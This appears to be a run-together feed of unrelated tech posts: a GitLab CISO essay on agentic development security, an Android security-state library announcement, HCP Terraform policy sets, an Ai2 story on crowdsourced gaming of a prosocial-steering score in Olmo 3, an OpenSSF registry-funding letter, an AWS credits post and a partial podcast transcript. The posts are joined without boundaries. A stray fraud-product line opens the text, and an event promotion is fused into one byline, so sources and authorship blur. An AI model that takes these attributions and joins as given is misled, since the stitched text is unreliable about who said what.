Learn more about how AI is changing the fight against fraud, or get in touch to see how Radar can help protect travel revenue.
I joined GitLab at a moment when the way teams build and secure software has been changing rapidly. GitLab CEO Bill Staples recently framed that shift in When Code Is Abundant. When code is no longer the bottleneck, trust becomes scarce, and that constraint shows up first in what reaches production.
As a CISO accountable for the same decisions as my peers, my operating thesis is simple: Agentic software development stays trustworthy only when security, governance, and guardrails sit in the path from plan to production. Leaders must continuously know the attack surface, constrain execution, and close the loop from discovery to verified fix at machine speed. Instead of the number of scans, tickets, or reviews, the metric that matters is time from detection to verified remediation.
That metric becomes more relevant as the economics of an attack change. The risks themselves are familiar: an open server, an over-scoped credential, or an exposed deployment path. AI models make these conditions faster and cheaper to discover, connect, and exploit. I find that more unsettling than a novel zero-day because the exposure was already in our environment; the difficulty of uncovering it was part of what protected us.
Anthropic and OpenAI have both described this shift publicly, and so has every security team I've talked to this year regardless of industry: advanced models and agentic systems are compressing the time and cost required to find and exploit weaknesses. Open weight models are catching up quickly with the most capable security systems available today, which means capabilities that recently lived inside a small set of labs will become available to a much wider set of threat actors.
I can see that acceleration inside GitLab. We have published 317 CVEs so far in 2026, compared with 181 in all of 2025 and 170 in 2024. Our bug bounty program received just over 3,600 reports in the last 90 days, compared with 1,440 in all of 2024.
We are not an outlier. In April, the National Institute of Standards and Technology (NIST) stopped enriching most CVEs, conceding that a record year of output still wasn't enough. This year's Verizon Data Breach Investigations Report put exploitation of vulnerabilities ahead of credential abuse as the leading initial access vector for the first time in 19 editions, with median time to resolution slipping from 32 days to 43. The Forum of Incident Response and Security Teams (FIRST) made the same point this summer.
Published advisories and incoming reports measure different things, but they create the same operating pressure: Discovery volume is rising faster than teams can verify, prioritize, and remediate what matters.
Severity models still assume a finding stands alone, but agents can chain a low-severity flaw, an overly broad permission, and an exposed path into a material attack. A queue sorted by CVSS increasingly misses that context while the backlog grows faster than teams can clear it using their traditional tools and processes.
The operating model must change with the economics of attack. Security controls must sit in the execution path, with a closed remediation loop behind every material finding. That governed path across your software development lifecycle (SDLC), under your guardrails, context, and workflows, is the foundation for an enterprise software factory.
Security teams have always been outnumbered, and our own intake is running about six times the 2025 rate. But capable models change the math in the defender's favor first.
Defenders have access to the code, infrastructure, deployment paths, configuration, identity systems, and operating context. Point the same capability at the same target and we can see much more, if we use it against our own surface first. Models can turn that broader context into machine-speed discovery, prioritization, and remediation. This has never been true before.
The build process is also becoming observable. For years, much of the work on an issue was not captured in systems that security teams could inspect. Security teams reviewed what remained: the diff, the build, and the running application.
When an agent builds software, construction can become an event stream: file reads, tool calls, commands, credentials issued, systems accessed, and approvals granted. That record lets us govern how software is built.
This architectural advantage exists when agents run somewhere their actions can be identified, constrained, and recorded. Once the necessary infrastructure is in place, every improvement in model capability strengthens the defensive system.
I believe machine-speed defense requires three layers that strengthen as model capability and commit volume rise across the SDLC.
This is the discovery pass for everything that follows. With the assumption that a capable attacker already has the same models you do, you should use those models on your own surface proactively across code, infrastructure, and deployment paths. The goal is a verified picture of where you stand today.
Frontier labs sit closest to the capability curve, which is where new AI model capacity first shows up in both offense and defense. Their contribution raises the defensive posture the rest of the industry can build on: model-assisted discovery pointed at real systems, and remediations drafted by agents with your team approving the change. We are running that with Anthropic on Project Glasswing, using their models across our critical systems and products, and repeating the pass when a stronger model arrives.
We then use GitLab Duo Agent Platform to continuously triage and remediate those findings, reduce the introduction of new issues, and ship software that has already been verified before production. We are customer zero for the bar we hold the software industry to, as we aim to translate that into trust in what you build on our platform.
A baseline tells you where you are. The harder problem is maintaining it while code volume, agent capability, and attacker capability continue to increase.
That foundation must satisfy six requirements.
These requirements work together: continuous coverage so findings have somewhere to go, fixes tested on the path they ship on, policy where the work runs, and agents with their own identity instead of a developer’s access token.
Software and its environment keep changing after production. The artifact you shipped last month can become vulnerable because of a disclosure next month, with exploitation following within days and sometimes preceding an available patch.
As a result, catching up once is not enough: keep scanning after the merge, reassess production as stronger models arrive, and land fixes in the same developer workflow that produced the change. Govern each merge and close each fix so every new finding moves toward remediation.
The operating model is to enforce the security you already have, measure time from detection to verified remediation, and keep customer experience checks in the same build path as security.
WHAT MY PEERS ARE SAYING
Cybersecurity experts and peer CISOs are describing a similar operating approach in an effort to enable governance and remediation at the speed of development.
“Machine scale discovery without an equally fast path to governed remediation is not progress. It is an inventory problem dressed up as security. The organizations that will hold up under agentic development are the ones that treat detection as the start of a closed loop: policy on every change, remediation in the build path, and a baseline they can re-verify as models improve.” Gadi Evron, CISO-in-Residence for AI, Cloud Security Alliance
“A durable security program for agentic software development keeps every agent on lawful rails: an explicit identity, constrained permissions, and a sanctioned path from plan to production. An agent working outside those rails is lawless: no identity, no record, no way to govern what it touched. That discipline has to hold as models improve and agent volume rises.” Bill Shields, CISO, Workday
“Trust in what you ship depends on continuous hardening of the models and development platforms you build on and governance of every change in your software lifecycle. Those layers reinforce each other, and neither substitutes for the other.” Sam Curry, Chief Security Officer, Zscaler
As agents produce a larger share of the code, your SDLC is splitting in two. One path runs through governed repositories, CI/CD systems, identity controls, approvals, and security tooling. The shadow path runs through personal laptops, local credentials, unmanaged tools, and agent sessions outside those controls. It may produce valid code, but without a reliable record of how that code and its related infrastructure changes were made.
A commit shows whose credential was used, but it reveals little about the agent, tools, permissions, commands, and external systems behind the change. Capturing that evidence requires a governed execution environment that connects identity, permissions, tools, policy, and approvals. Without it, security teams inspect artifacts after the important actions have already occurred.
Capturing events is only the beginning. At agentic volume, a complete transcript becomes another backlog. Security systems must turn those events into enforceable policy, attributable decisions, and verified outcomes. Tool calls are evidence, and an agent's explanation of its own reasoning is secondary.
On GitLab, that architecture is becoming concrete. Policy sits in the execution path. Scanning runs where developers and agents already work, early enough that the fix is cheap. Third-party findings converge in one vulnerability system, and agents turn validated findings into tested merge requests carrying the application context needed to fix them. Secrets are short-lived, scoped, and revocable by default. High-risk agent actions stop at an attributable approval boundary. If the pipeline cannot prove it, the pipeline does not ship it.
Authorship capacity is becoming elastic while human review capacity remains constrained. On a recent release, we ran agentic security review across 969 of 997 eligible merge requests, or 97%. A year ago, that level of coverage was inconceivable. Today I treat it as the expectation.
GitLab brings these controls together across the platform. GitLab Duo Agent Platform closes agentic triage and remediation loops on the same governed path as source, security, CI/CD, and merge. If you are a GitLab customer, the opportunity is to put those controls in the execution path and measure whether they shorten your exposure time from detection to verified remediation.
The deeper architectural question is whether agentic work runs through the same governed foundation for your software factory. When it does, teams and agents share a common control plane. When it does not, the shadow software factory persists regardless of how much security tooling surrounds the downstream pipeline.
A credible program can answer these questions from its operating data:
Those answers should become increasingly automatic. A program that is working keeps coverage continuous across the full attack surface, puts an attributable owner and a tested remediation path behind every material finding, and either eliminates exposed and long-lived secrets or time-boxes them with compensating controls you can defend. Agents run through sanctioned identities and constrained permissions, with a recorded approval on high-risk operations, and you measure detection to verified remediation continuously, by severity and by attack path, driving that time toward machine speed.
We are learning what that takes by running the model ourselves. In the coming months, GitLab will publish a blueprint that turns these principles into operational guidance: the controls, architecture, metrics, and practices to establish a baseline. The blueprint will aim to help you keep agentic software development on a governed path, eliminate shadow production work, and continuously move findings through verified remediation.
The goal is practical: Give security and engineering leaders something they can implement and measure, regardless of where they are starting.
I'm writing this as a peer accountable for the same class of decisions you are. When code generation is abundant and trust is scarce, your agentic software development demands machine-speed verification and remediation. Security, governance, and guardrails have to be part of your foundation, not a set of gates around it.
The opportunity right now is unusual. The same models increasing offensive capacity can also expand defensive capacity. As cybersecurity professionals, we have more context than the attacker, greater access to our own systems, and a chance to make the construction of software itself observable and governable. We have to use that advantage.
Expect continuous hardening from the platforms you build on. Ask for evidence of what they find, how quickly they remediate it, and whether the controls survive the next increase in model capability. Apply the same standard to your own software development. GitLab customers can use Duo Agent Platform to bring agentic triage and remediation into the same governed path as source code management, CI/CD, and the rest of the SDLC.
The new standard now is to move “detection to verified remediation” at machine speed.
Posted by Maunik Shah, Staff Software Engineer, Alec Garcia, Software Engineer, and Joseph Yong, Technical Program ManagerJoin us at Transcend, our livestreamed event on October 6, where we will dive deeper on the topic and share our latest innovations to help you secure your agentic software development.
At Android, we are constantly working to provide developers and enterprise partners with the data they need to keep devices protected. Today, we're thrilled to announce the stable release of the AndroidX Security State version 1.1.0 and Security State Provider version 1.0.0 libraries which provides a centralized mechanism designed to bring further transparency to the comprehensive security posture and pending updates across the Android ecosystem.
Whether you develop security-critical, consumer-facing apps (such as banking, fintech, or healthcare) or Mobile Device Management (MDM) solutions, these libraries enable you to programmatically verify the security state of the device per component. Rather than relying on a coarse, monolithic Security Patch Level (SPL), you can evaluate true component-level protection and whether remediations are actively pending via the androidx.security.state library. For OEMs and Over-The-Air (OTA) client developers, the companion androidx.security.state.provider library allows you to expose update availability via standardized mechanisms.
Rather than taking an all-or-nothing approach to device access, developers and enterprises can combine DSPL, PSPL, and ASPL to make smart, contextual security decisions. For example, a banking or enterprise app can compare a device's current security patch (DSPL) against pending updates (ASPL) before initiating sensitive workflows like high-value payments or credential enrollment. If an update is waiting to be installed, developers and enterprises can require the user to update their device first. For even finer control, developers and enterprises can query whether specific high-risk vulnerabilities (CVEs) have been patched on the device, such as verifying that critical NFC or Bluetooth fixes are in place before authorizing tap-to-pay or proximity data sharing.
androidx.security.state library to make informed, context-aware decisions:
androidx.security.state.provider library establishes a standardized, Android IPC mechanism for update clients to report update availability directly on the device. Historically, even if proprietary OTA clients surfaced update availability, this information was siloed and not queryable by third-party applications. Going forward, apps can access ASPL details through a single, unified API, regardless of whether the update is delivered via an OEM’s dedicated OTA client or Google Play, as long as it is provided by the update client.
Here are two ways this approach benefits enterprises and Android OEMs:
We value your feedback! Please try out the libraries and let us know your thoughts or report any issues on the public Android Issue Tracker.
As organizations face growing security and regulatory requirements, maintaining compliant infrastructure becomes increasingly complex. Many organizations use policy as code to define and enforce guardrails consistently across their infrastructure estates. But operationalizing policy as code can still require significant time and specialized expertise.
We recently introduced the public beta of Terraform policy (tfpolicy), a declarative, HCL-based policy-as-code framework deeply integrated with Terraform. Terraform policy gives teams a familiar way to author and enforce policies while bringing governance closer to their Terraform workflows.
Today, we are expanding that experience with the public beta release of native pre-written policy experience in HCP Terraform. While creating a policy set, teams can now discover HashiCorp-managed pre-written policies, review relevant policy details, select the policies they need, and configure enforcement.
In this post, we’ll look at the challenges of operationalizing policy as code and how this release provides a faster, more integrated way to apply compliance guardrails at scale.
HashiCorp already provides pre-written Sentinel policies for common security and compliance requirements, including AWS CIS Foundations Benchmark, AWS Foundational Security Best Practices (FSBP), NIST SP 800-53, and other frameworks.
Previously, teams had to find the appropriate policies outside HCP Terraform and bring them into their policy workflows. Teams creating their own policies also had to interpret compliance controls, translate those controls into policy logic, and test and maintain the resulting policies over time.
This work grows as organizations adopt more cloud providers, services, and compliance frameworks. The challenge is not simply making pre-written policies available. Teams also need a straightforward way to discover, review, choose enforcement for, and apply them through their existing Terraform workflows.
The native pre-written policy experience brings HashiCorp-managed policies into the HCP Terraform policy set creation workflow. With this new approach, users can:
Select the new pre-written policy set type
Search and filter available policies by cloud provider, service, and compliance framework
Review policy details before selecting
Select one or more policies for the policy set
Configure the supported enforcement mode for each policy
Attach the completed policy set to an organization, project, or workspace
Native pre-written policies are managed by HashiCorp and remain read-only in HCP Terraform. This helps protect the integrity of each policy while allowing organizations to decide where and how they should be enforced. The initial public beta focuses on policies aligned with AWS Foundational Security Best Practices (FSBP) and AWS CIS Foundations Benchmark, with support for additional compliance standards including a limited set of CIS Foundations Benchmark Policies for Microsoft Azure and Google Cloud coming soon.
The experience supports both existing pre-written Sentinel policies and new pre-written policies authored using Terraform policy through the same policy set workflow. Sentinel pre-written policies are available for organizations using agent execution mode. Pre-written policies default to Advisory enforcement, allowing teams to identify violations without blocking Terraform runs. When teams are ready, supported policies can be configured as Mandatory to block non-compliant runs.
Together, these capabilities make it easier for teams to adopt policy as code, apply consistent guardrails, and scale governance across their Terraform environments.
Pre-written policies reduce the work required to apply common guardrails in HCP Terraform while preserving the flexibility to create custom policies for organization-specific requirements.
To try it today, select the Pre-written policies option when creating a new policy set in HCP Terraform. Refer to our manage policy sets documentation for step-by-step instructions.
Looking to author custom policies alongside these pre-written controls? Check out our introduction to Terraform policy to get started.
AI models need to do more than produce correct answers. How they respond matters too: whether they’re helpful, fair, safe, respectful, and responsive to the people using them. For model builders, the challenge is knowing whether those “prosocial” behaviors hold up in practice—and whether evaluations capture how a model behaves when people interact with it in unexpected ways.
Northeastern University MS student Soham Padia used Olmo 3 to test whether crowdsourcing an evaluation of prosocial behavior could expose weaknesses that a small research team might miss.
Padia had developed an evaluation that measures how strongly text steers a model toward more prosocial responses. Steering Arena turned that evaluation into a sort of game—players submit short text prefixes designed to influence the model, see how strongly each one shifts Olmo 3 in that direction, and compete for the top spot on the leaderboard.
Olmo’s openness made the project possible—Padia could see how submitted text changed Olmo 3’s internal activity instead of inferring those effects only from the responses it generated. That access became the foundation for both his evaluation and Steering Arena.
Padia chose Olmo 3-32B so he could study prosocial steering in a relatively large model. Through the National Deep Inference Fabric (NDIF), a U.S. National Science Foundation (NSF)-supported platform for experimenting with large open models, he could access Olmo 3-32B remotely without owning the GPUs needed to host it himself.
That effort to make advanced AI research more accessible aligns with Ai2’s work with NSF. Through the OMAI project, Ai2 is developing fully open models and infrastructure designed to help more researchers study, reproduce, and build on sophisticated AI systems.
"Open weights alone would not have been enough," Padia says. "Olmo documents its data and its post-training, so when I find a prosocial direction inside it I know whether I am looking at something the pretraining put there or something a later fine-tune installed. On most models, that question simply has no answer."
Padia’s evaluation uses 135 pairs of contrasting text responses spanning 15 qualities, including empathy, fairness, safety, privacy, and respect. (Each pair starts with the same prompt and contrasts a more prosocial response with a less prosocial one.) By comparing the model’s internal responses to each pair, Padia identified a pattern associated with the more prosocial examples and built the evaluation to measure how strongly new text moved Olmo 3 toward that pattern.
He then opened that evaluation to the public through Steering Arena.
“I had expected thoughtful, values-laden writing to score well,” Padia says of the text players submitted to Steering Arena. “It does not.”
After roughly 600 submissions from a few dozen people, the top 36 entries were all unreadable strings of tokens—things like Undert! AH :-) Rog Appl) and Angela Nombre WiBanner:] Workflow.respond-winemoji. The best plain-English submission instructed Olmo 3, “You will respond in a short sentence with kindnesz respect compassion and my love [sic]." It ranked 37th, scoring about 2.7 times lower than the top entry.
The token strings weren’t necessarily random. The game scores how strongly each entry shifts Olmo 3 toward the prosocial pattern Padia identified, regardless of whether the text itself sounds prosocial to a person—so players could optimize for what the model responded to internally rather than for words that made sense to a human reader.
One participant took that idea further by using an automated optimization method to search directly for higher-scoring entries. Successive submissions sometimes differed by only a single token, as the search zeroed in on combinations the scorer rewarded.
For Padia, that was one of the clearest lessons from opening the evaluation to a crowd. “A metric becomes an optimization target the moment you expose it,” he says. “I would not have learned this alone.”
For model builders, Steering Arena offers a way to stress-test whether behavior that looks prosocial on an evaluation holds up when people interact with a model in ways the evaluation’s designers did not anticipate. Better tests can ultimately help builders develop models that respond more consistently in the ways they intend.
Because Olmo exposes more than its weights, Padia could also publish the internal signal behind Steering Arena’s scores for others to inspect and test.
“When I find a direction inside the model I can reason about where it could have come from instead of guessing against a black box,” Padia says. “On a closed model I could never have told whether people were failing to break the scorer or simply lacked the access to try.”
The OpenSSF Governing Board recognizes that the current funding model for public package registries is no longer sustainable. As AI reshapes how software is built and dramatically increases demand on registries, we support sustainable funding models and intend to participate in them as enterprise customers.
Public package registries are critical infrastructure for the global software supply chain. Every organization that builds software depends on them, yet these registries face growing demands for security, reliability, compliance, and developer experience.
We’re grateful to the people and organizations who have kept this infrastructure running for the benefit of us all. As enterprises that depend on these registries every day, we are ready to be part of the solution.
Registry stewards have been sounding the alarm for the past year. Open letters published in 2025 and 2026 described the growing operational and financial pressures facing package registries such as rising infrastructure costs, and the increasing investment required to strengthen security and improve the developer experience. We agree.
Our organizations build, ship, and operate software on top of public package registries: PyPI, Maven Central, crates.io, RubyGems, npm, NuGet, OpenVSX, Packagist, and others. These registries serve trillions of downloads annually. They are not optional. They are load-bearing infrastructure for the global software supply chain.
Today, most registries survive on infrastructure credits donated by a handful of sponsors and the heroic efforts of small teams, often just two or three people. Download volumes grow 30 to 50% year over year while funding remains flat (mostly driven by the explosion of agentic coding agents). The number of malicious components that require human analysis and takedown has reached 1.8 million packages so far in 2026 and has already exceeded the number we saw in 2025. With the burst of AI-discovered vulnerabilities, registries anticipate a 3-5x increase in publish events, in addition to the associated support and operational burden (read more in the previous open letter). These gaps are widening as AI-driven development accelerates both consumption and the sophistication of supply chain attacks.
We have a stake in changing this. Registries cannot deliver the scale, availability, security, and observability enterprises need without sustainable funding.
When registries have predictable, recurring revenue, they can invest in a roadmap of capabilities that benefit everyone:
Availability. Reliable publication, discovery, and distribution services with monitoring, alerting, and operational support that minimizes downtime. Dedicated support channels. Private or peered access for high-volume consumers. Caching and distribution optimizations for high-demand packages.
Observability. Advanced analytics on publishing and consumption patterns. Ecosystem-level insights that individual organizations cannot gather on their own. Compliance and policy controls. Audit trails.
Security. Artifact signing, trusted publishing, malware scanning and quarantine, build provenance attestations, SBOM and VEX generation, threat detection and incident response SLAs – these are capabilities enterprises increasingly require for compliance, and they require funded teams to build and maintain. Funded registries supporting these technologies act as a multiplier for the adoption of these technologies by projects.
These are the kinds of capabilities registries can deliver when they have the resources to operate beyond survival mode. Sustainable funding models unlock them for the entire ecosystem, including the individual developers and small organizations who will continue to access registries for free.
No single registry should have to do this alone. When multiple registries evolve their models at the same time, backed by public commitment from major consumers, it normalizes the change and gives registries the confidence to move beyond survival mode.
We recognize that each registry must determine the model that best serves its community. Without prescribing specific pricing, terms, or tiers, we commit to:
By committing to the above, we hope to make it easier for other enterprises to follow and give registries the support they need to invest in capabilities that benefit the entire ecosystem.
Recognizing this as a business expense. Registry fees, where adopted, including in pilot or experiments, should be viewed as investments in security, resilience, and compliance capabilities. Organizations will need to evaluate the appropriate approach based on their usage, requirements, and business needs.
Realizing this is not a standard software services purchase. Organizations already use registry services under existing Terms of Service, and paid services should build on those terms. Imposing broad indemnities or excessive liability requirements will only increase costs and undermine sustainability.
Supporting evolving models. We realize that a transition will take time to fully materialize. We support registry experiments, as early adopters, to understand sustainability models.
Respecting registry autonomy. Registries choose their own approaches for sustainability. Our role is to show up as willing customers, not to dictate.
Every organization that builds software depends on package registries. We invite enterprise consumers across the industry to engage with the registries they rely on, understand their sustainability needs, and be prepared to participate in funding models that keep this infrastructure strong.
Sustainable registries are more secure, reliable, and observable. Supporting them strengthens the open source ecosystem for enterprises, maintainers, developers, and users alike.
This is not the work of a single registry. Registry stewards are collaborating through the Linux Foundation’s Sustaining Package Registries Working Group to share best practices and explore sustainable funding approaches while preserving the independence of each registry. We encourage enterprise organizations to engage with the registries they rely on and support these efforts.
Signed by:
Arm
Datadog
Dell Technologies
Ericsson
GitHub
IBM
Kusari
Microsoft
Red Hat
Rust Foundation
Sonatype
The Sustaining Package Registries Working Group, hosted by the Linux Foundation, is coordinating cross-registry collaboration on sustainable funding models. To learn more or get involved, visit https://github.com/Sustaining-Package-Registries-WG.
By Mila Zhou
How can open source projects maintain secure infrastructure without financial strain? OpenSSF Premier Member, Amazon Web Services (AWS) addresses this by providing critical funding and scalable compute resources. Through initiatives like the AWS Open Source Promotional Credit Program, maintainers access enterprise-grade security tools and automated testing, ensuring the global software supply chain remains resilient, hardened, and efficient for everyone.
Securing open source software requires more than writing good code. It takes serious compute power to run continuous integration pipelines, fuzzing engines, and secure artifact distribution networks. Infrastructure costs can quickly become a bottleneck for maintainers.
As a founding and Premier Member of the Open Source Security Foundation (OpenSSF), AWS is a key contributor to the security of the open source ecosystem. We actively collaborate across OpenSSF working groups and the governing board to help build security standards from which everyone benefits.
Beyond large-scale funding to open source and collaborative standards, AWS also offers practical, day-to-day support for maintainers through the AWS Open Source Credit Program. While this is an independent AWS initiative rather than an OpenSSF program, it directly addresses the infrastructure constraints that open source security researchers and tool creators face.
Security testing should never be limited by a fixed pool of servers. When projects want to run extensive static analysis (SAST) jobs or continuous performance testing, they need scalable compute. Furthermore, projects that distribute plugins or security tools need a highly available delivery mechanism to protect the integrity of the software supply chain.
The AWS Open Source Promotional Credit Program provides credits to eligible open source projects to cover these infrastructure costs. By removing financial friction, projects can adopt enterprise-grade security and delivery architectures.
Two recent examples highlight how projects use this support:
Additionally, building on AWS allows projects to utilize built-in security features without the heavy lifting. Projects can implement keyless authentication via GitHub OIDC, securely pull short-lived credentials from AWS Secrets Manager, and utilize services like Amazon GuardDuty for threat detection. This ensures the build environment itself remains hardened against supply chain attacks.
When open source maintainers do not have to worry about funding their build queue or surviving a sudden traffic spike, they can focus their time on what truly matters: writing secure code, building better tools, and protecting the broader ecosystem.
If you maintain an open source security project or build tools that benefit the community, we encourage you to explore the AWS Open Source Promotional Credit Program. You can find the application details on the AWS Open Source blog (which remains the official hub for the program) or read more about how projects like Compiler Explorer, Gradle and Read the Docs have implemented it.
Mila Zhou is a Senior Technical Program Manager at Amazon Web Services (AWS), leading funding initiatives that provide crucial support to open source projects. Drawing from her multidisciplinary background in Digital Media Technology, Economics, and Taxation, Mila brings a unique blend of technical knowledge and financial acumen to her role. Her expertise in managing large-scale open source funding programs and measuring their impact has proven invaluable in setting metrics and providing successful examples for enterprise leadership.
In this episode of What’s in the SOSS, host Sally Cooper sits down with technology executive and ActiveState CEO Abby Kearns to break down the rapidly evolving open source security landscape. Together, they dissect why reactive post-build scanning fails to prevent dependency debt, how machine-speed AI ingestion is overwhelming human maintainers, and what the impending EU Cyber Resilience Act (CRA) mandates mean for enterprise software supply chains. Abby offers actionable insights into why building a “start secure, stay secure” paradigm is essential for modern software pipelines and why open source communities must unite to redefine repository economics in an AI-dominated world.
00:00 – Introduction: Sally Cooper welcomes ActiveState CEO Abby Kearns to discuss AI, vulnerability management, and open source security.
01:50 – The Limits of Reactive Scanning: Why controlling components at the build source beats post-build scanners.
04:39 – AI Agents and Ingestion Risk: Managing governance and dependency debt when code moves at automated machine speed.
07:55 – Regulatory Pressures & The CRA: Preparing for 24-hour vulnerability reporting deadlines and mandatory SBOM provenance.
11:17 – Upstream Package Repository Economics: Addressing maintainer burnout and the influx of AI-generated PRs.
14:03 – The True Cost of Exposure: Mitigating enterprise risk across foundational open source language libraries.
16:45 – Rapid Fire Round: Tux the Penguin, favorite emojis, time travel, and key takeaways for the community.
Intro Music & Soundbyte / promo clip (00:00)
“Vulnerabilities are being identified at a much faster rate. And now the pace is only getting faster as more and more organizations are using AI to identify those vulnerabilities. And the pressure is on those contributors and maintainers to identify fixes, get those fixes released back into the upstream and allow those fixes to be applied to all the downstream. Our belief is that start secure, stay secure is the only pattern.”
Sally (00:24)
Hello and welcome to What’s in the SOSS, the OpenSSF podcast focused on ingredients, challenges, and solutions for making OS more secure. I’m your host today, Sally Cooper, and I have an incredible guest with me, Abby Kearns, an executive leader, Board Director with years of experience building and growing technology businesses. Abby, your career is extremely impressive. I know you do incredible work as the CEO of ActiveState. Also, some of us are familiar and love you from your time at the Linux Foundation as the Executive Director and CEO of Cloud Foundry, which of course is a fantastic Linux Foundation project. But I’m just really excited to have you on the show today. Abby, welcome.
Abby Kearns (01:09)
Thank you for having me. I’m super excited to be on here as well. Longtime fan of the work you’re doing here.
Sally (01:17)
That’s wonderful to hear. Well, I’m also a big time fan of your work. and yeah, we have some pressing topics to cover. So let’s just jump right in. I know we’re gonna talk about AI and security, a very hot topic right now. It’s very timely. Vulnerability management, which you have some incredible insights of, and I’m just looking forward to hearing your perspective on, especially securing critical project pipelines.
And the package repository economics, which is we could spend multiple podcast episodes discussing. And then security baselines. So I guess my first question for you is on enterprise security. I know that security teams are overwhelmed by the vulnerability noise, yet most are still relying on post-build scanning. Why does reactive scanning fail to solve dependency debt? And why is controlling components at the build source the only scalable fix?
Abby Kearns (02:12)
I think a lot of it comes down to the pace of change. Like I don’t know if anyone’s been paying attention to the news lately, but vulnerabilities are being identified at a much faster rate. I think even looking at the rates last year, we thought, wow, this is a lot of identifications of not just CVEs, but critical CVEs.
And now the pace is only getting faster and faster as more and more organizations are using AI to identify those vulnerabilities. And you have with that, you know, as we said, I’m a longtime lover of open source and an active participant in many open source projects over the last 15 years. And every open source project has a rich and lovely group of contributors and maintainers who are doing their best to maintain that open source project.
And with the onslaught of AI identified CVEs, the pressure is on those contributors and maintainers to identify fixes, get those fixes released back into the upstream and allow those fixes to be applied to all the downstream products and projects that customers are using or users are using. And so at the end of the day, we’ve got more and more CVEs being identified at a much faster clip.
Faster than scanners can even detect them, some of which the recent exploits are actually not even detected by scanners whatsoever. And so my view is that the only way to start secure, particularly with things that are critical to all the work you do, i.e., languages and language libraries, is to have a secure start to whatever you’re building, because identifying those things, malware, CVEs, after the fact is very costly to teams and organizations, but it’s also very complicated if you have to go back to the beginning and rewrite whatever it is you wrote. So our belief is that start secure, stay secure is the only pattern. But you should still continue to do scanning, but you should definitely not rely 100% on scanning to solve all of your issues.
Sally (04:26)
I love that. Great perspective on scaling security. Just shifting gears slightly on the impact of AI. Beyond just the simple code generation, AI agents are now autonomously importing, updating, and introducing dependencies into code bases. How can enterprise security architects evolve when dependency ingestion shifts from human decision-making to automated machine speed ingestion?
Abby Kearns (04:56)
I think that we have to rethink how we do the entirety of the software lifecycle at this point, right? If you’re using AI more to write code, you’re using agentic workflows to write, deploy, and manage code, you’re using AI now to validate that code, all of a sudden this becomes a very complicated machinery.
When you think about open source, and we’re talking to people that are subscribing to this podcast, care deeply about open source, and specifically open source security. And I think that is really where the power lies. 98% of all applications created today have open source in them. 85% of organizations are already using AI code generators as part of their software development lifecycle in some form or fashion.
But a much smaller number are using AI to do code reviews, validation. So a lot of code is going into production that has had limited review. And add to that that it’s happening at a much faster pace. ~ The thing that AI code generators can do for us is it allows us to write code much faster. It’s amazing. We can all go home over the weekend and write something. We can all write an app. We’re all capable.
However, for many people writing software that quickly, we don’t necessarily have the guardrails in place to ensure that we’re doing so securely. And AI is helpful. It is a helpful assistant. Everyone knows that is using an LLM knows how helpful it really wants to be. And so it’s going to go and grab the packages, the dependencies, the transitive dependencies you need to be successful to create the app or the thing or whatever you’re trying to do. It isn’t necessarily taking into consideration that there are risks with whatever it’s pulling in.
A lot of the conversation that’s happening today, which is to say, okay, how do we start applying guardrails and policies to the work we’re doing? But that governance isn’t in place yet. And that is something that I think is going to inject a lot more risk into the system until we figure out how to balance both the speed and efficiency and velocity that we all want with the governance and the security and the compliance controls that we all need in order to show that we’re doing so quickly but also securely.
Sally (07:20)
Yeah, perfect segway into what we’re just thinking about this month at OpenSSF and in this quarter. Our roadmap plan is to talk about the EU Cyber Resilience Act, the CRA. Many of these laws are now coming into play in September and December. There’s timelines. And just thinking about how you spoke on the landscape and it’s shifting under our feet with AI. On the regulatory side, with the EU Cyber Resilience Act. There’s this mandatory 24-hour vulnerability reporting requirement. I’m looking at it here on my desk. Many enterprises are unprepared for the reality of real-time disclosure. From your perspective as a leader, how can other leaders establish verified component provenance without halting active engineering pipelines?
Abby Kearns (08:11)
It’s a tough, it’s a tough, tough, tough challenge. And like I do think that we’re probably as a collective industry ill prepared for what the CRA is going to introduce. The CRA, if you’re not following along, goes into effect, phase one goes into effect September 11th, we’re going to have to adhere to vulnerability notification around as part of the CRA in December of 2027, the full SBOM, so the full provenance requirements go into effect as part of phase two.
And so there’s twofold level of the complexity there. First is in September, when the first phase goes into effect, you’re gonna have 24 hours to notify if you’ve had a breach. That means you have to understand where the breach happened, what happened, what package throughout the entirety of your supply software supply chain was impacted. You’re gonna have to have that both awareness, the knowledge, as well as the path for a fix, because you’re not gonna want to notify anyone if you don’t have a path to a resolution. And so it really truncates that timeline. Giving 24 hours to respond is a pretty short fuse for many organizations that may not have full visibility.
~ SBOM management has been something we’ve been talking about for several years, ever since the executive order came out, what was that, 23, 22, when Biden did the executive order around software companies being able to show, distribute, or document their full software supply chain and their full SBOM. And as part of that, you know, I thought that organizations would start to take SBOM, SBOM management a little more seriously, but sort of did, but we sort of didn’t. And obviously that executive order has been since rolled back. But new guidelines, particularly with CRA kind of being that forcing function, is going to push SBOM provenance, full provenance and attestation requirements back into the conversation again. And I don’t think organizations are prepared to track, manage, and be able to articulate the full breadth of what their software supply chain is.
And I think adding into that AI, AI just adds more complexity to that because it’s pulling in packages, dependencies, transitive dependencies that not everyone that is writing code is aware of at all times. And I think that that just adds a layer of complexity that I don’t think organizations are poised to address at this time.
Sally (11:00)
Yeah, the complexity, the speed, the compliance, they all play a role in defining how leaders can move forward. And just thinking through the upstream, critical open source package repositories are increasingly targeted through maintainer takeover and credential leaks.
What structural or economic model needs to replace current repository maintenance so that these enterprise supply chains aren’t left vulnerable to upstream compromises?
Abby Kearns (11:31)
That’s the billion-dollar question, isn’t it, Sally?
I think there’s a lot of people trying to figure that out as we speak. I mean, like, as I pointed out, we have a growing identified number of CVEs. We have no alignment across open source projects on how each project in each community want to deal with AI-generated code, AI-generated PRs, AI-generated reviews.
In fact, I’ve been writing about this a lot over the last few weeks personally because I think it is a very complicated topic. what do or what do communities want to do about AI-generated PRs and AI-generated code? Well, every community right now is treating them all completely different. What Rust is doing, which is a library-by-library assessment, to what Curl is doing, to what Linux is doing, they’re all different.
And I think that adds a layer of complexity to the fact that these going back to the small number of community maintainers and contributors that are responsible for maintaining these upstream open source projects are being overwhelmed by both the identification of CVEs, but also helpful PRs that are AI generated. And I think that there is a growing deluge of identified vulnerabilities and fixes on a very limited number of community maintainers.
